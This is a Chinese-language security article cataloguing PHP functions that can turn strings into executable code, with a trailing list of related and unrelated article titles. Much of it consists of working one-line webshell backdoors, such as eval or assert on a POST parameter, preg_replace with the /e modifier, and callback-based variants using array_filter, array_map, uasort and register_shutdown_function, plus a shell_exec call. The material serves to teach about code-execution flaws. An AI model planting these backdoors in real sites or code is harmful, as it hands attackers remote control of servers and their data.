PHP常见代码执行后门函数

代码执行:

应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。

常见php代码执行函数介绍

常用执行代码函数

1、eval():

<?php @eval($_POST['hacker']); ?>

eval函数将接受的字符串当做代码执行

2、 assert():

用法和 eval()一样

<?php @assert($_POST['hacker']); ?>

3、preg_replace():

<?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?>

preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行

4、 create_function():

 <?php

$newfun = create_function('$hacker', 'echo $hacker;');

$newfun('woaini');
?>

创建了一个匿名函数,并返回了一个独一无二的函数名

5、 call_user_func():

<?php
echo call_user_func('shell_exec','whoami');
?> <?php
call_user_func_array('assert', array($_POST['pass']));
?>

函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数

6、更多回调函数

call_user_func_array()

call_user_func()

array_filter() 

array_walk() array_map()

registregister_shutdown_function()

register_tick_function()

filter_var() 

filter_var_array() 

uasort() 

uksort() 

array_reduce()

array_walk() 

array_walk_recursive()

<?php forward_static_call_array(assert,array($_POST[x]));?>

解释:把函数作为参数传入进另一个函数中使用。


call_user_func

把第一个参数作为回调函数调用

call_user_func_array

调用回调函数,并把一个数组参数作为回调函数的参数

usort

使用用户自定义的比较函数对数组中的值进行排序

register_shutdown_function

<?php register_shutdown_function('assert','phpinfo();');?>

注册一个会在php中止时执行的函数

array_map

为数组的每个元素应用回调函数

array_walk

使用用户自定义函数对数组中的每个元素做回调处理

array_filter

用回调函数过滤数组中的单元

array_reduce

用回调函数迭代地将数组简化为单一的值

array_udiff

用回调函数比较数据来计算数组的差集

array_uintersect

计算数组的交集,用回调函数比较数据

array_diff_uassoc

用用户提供的回调函数做索引检查来计算数组的差集

array_diff_ukey

用回调函数对键名比较计算数组的差集

例子:

<?php

//数组回调进行构造后门
$arr=array($_POST['pass']);
array_filter($arr,'assert');
array_map('assert', $arr);
uasort($arr, 'assert');
//等等,用回调函数进行构造
?>

PHP常见代码执行后门函数的更多相关文章

  1. PhpStudy代码执行后门

    0x00 概述 只需要两个参数 Accept-Encoding: gzip,deflate Accept-Charset: Base64编码(PHP代码) 0x01 利用代码 加群可以下载:87369 ...

  2. 将字符串当做是php代码执行的函数eavl()

  3. PHP代码执行函数总结

    PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码执行函数做一些归纳. 常见代码执行函数,如 eval().assert().preg_replace().create ...

  4. Pikachu-RCE(远程命令/代码执行漏洞)

    RCE(remote command/code execute)概述 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行一般出现这种漏洞,是因为 ...

  5. PHP安全(文件包含、变量覆盖、代码执行)

    文件包含漏洞 本地文件包含 截断技巧: ../../etc/passwd%00(\x00 \0) 利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的.目录字符串,在windows下25 ...

  6. 菜刀(代码执行)函数和命令执行函数详解及Getshell方法

    i春秋作家:大家奥斯的哦 原文来自:https://bbs.ichunqiu.com/thread-41471-1-1.html 代码执行函数 VS 命令执行函数 一直想整理这两块的内容,但是一直没时 ...

  7. php中代码执行&&命令执行函数

    转自i春秋 1.eval()函数 #传入的参数必须为PHP代码,既需要以分号结尾. #命令執行:cmd=system(whoami); #菜刀连接密码:cmd <?php @eval($_POS ...

  8. 【随笔】菜刀(代码执行)函数和命令执行函数详解及Getshell方法

    代码执行函数 VS 命令执行函数 一直想整理这两块的内容,但是一直没时间弄,直到前两天碰上一个写入了菜刀马但是死活连不上菜刀的站,顿时不知道怎么继续了,所以就趁这个机会整理了一下代码执行函数怎么get ...

  9. MySQL (九)-- 代码执行结构、函数、存储过程

    1 代码执行结构 代码执行结构有三种:顺序结构.分支结构和循环结构. 1.1 分支结构 分支结构:实现准备多个代码块,按照条件选择性执行某段代码. 在MySQL中只有if分支. 基本语法 if 条件判 ...

随机推荐

  1. Ubuntu 设置中文输入法

    环境:新安装的Ubuntu 16.04 LTS 本来打算使用sogou拼音,但是在输入后的提示框中内容为乱码,因此尝试重新安装. 1.sudo apt-get remove sogoupinyin & ...

  2. Spring Boot自动装配

    前言 一些朋友问我怎么读源码,这篇文章结合我看源码时候一些思路给大家聊聊,我主要从这三个方向出发: 确定目标,这个目标要是一个具体,不要一上来我要看懂Spring,这是不可能的,目标要这么来定,比如看 ...

  3. ASP.NET 开源导入导出库Magicodes.IE 导出Pdf教程

    基础教程之导出Pdf收据 说明 本教程主要说明如何使用Magicodes.IE.Pdf完成Pdf收据导出 要点 导出PDF数据 自定义PDF模板 导出单据 如何批量导出单据 导出特性 PdfExpor ...

  4. kuangbin专题专题十一 网络流 POJ 1087 A Plug for UNIX

    题目链接:https://vjudge.net/problem/POJ-1087 题目:有n个插座,插座上只有一个插孔,有m个用电器,每个用电器都有插头,它们的插头可以一样, 有k个插孔转化器, a ...

  5. NOI2.2 8758:2的幂次方表示

    描述任何一个正整数都可以用2的幂次方表示.例如: 137=27+23+20 同时约定方次用括号来表示,即ab可表示为a(b).由此可知,137可表示为: 2(7)+2(3)+2(0) 进一步:7=22 ...

  6. Mayor's posters (线段树+离散化)

    Mayor's posters Description The citizens of Bytetown, AB, could not stand that the candidates in the ...

  7. robotframework,移动端(小程序)自动化,滚动屏幕的方法

    场景描述: 小程序端定位元素有无法定位弹出层内容的问题(自动化工具只能识别到背景主层,无法识别到弹出层) 解决思路: 1.弹出层元素与背景主层元素位置一致,当点击出弹出层时,在定位背景主层即可定位到弹 ...

  8. 19_05_01校内训练[polygon]

    题意 把一个边长为1的正n边形放到一个正m边形中,要求m边形完全覆盖n边形,可以有交点,并且中心重合.求正m边形的最小边长,至少精确到6位.要求logn计算. 思考 先考虑m|n的情况. 我们知道,正 ...

  9. Linux中软件安装包的格式

    一.Linux常用安装包及安装方法 1.安装包一般有四类: 1)tar包,如software-1.2.3-1.tar.gz.他是使用UNIX系统的打包工具tar打包的. 2)rpm包,如softwar ...

  10. Docker底层架构之简介

    简介 Docker 底层的核心技术包括 Linux 上的命名空间(Namespaces) 控制组(Control groups) Union 文件系统(Union file systems) 容器格式 ...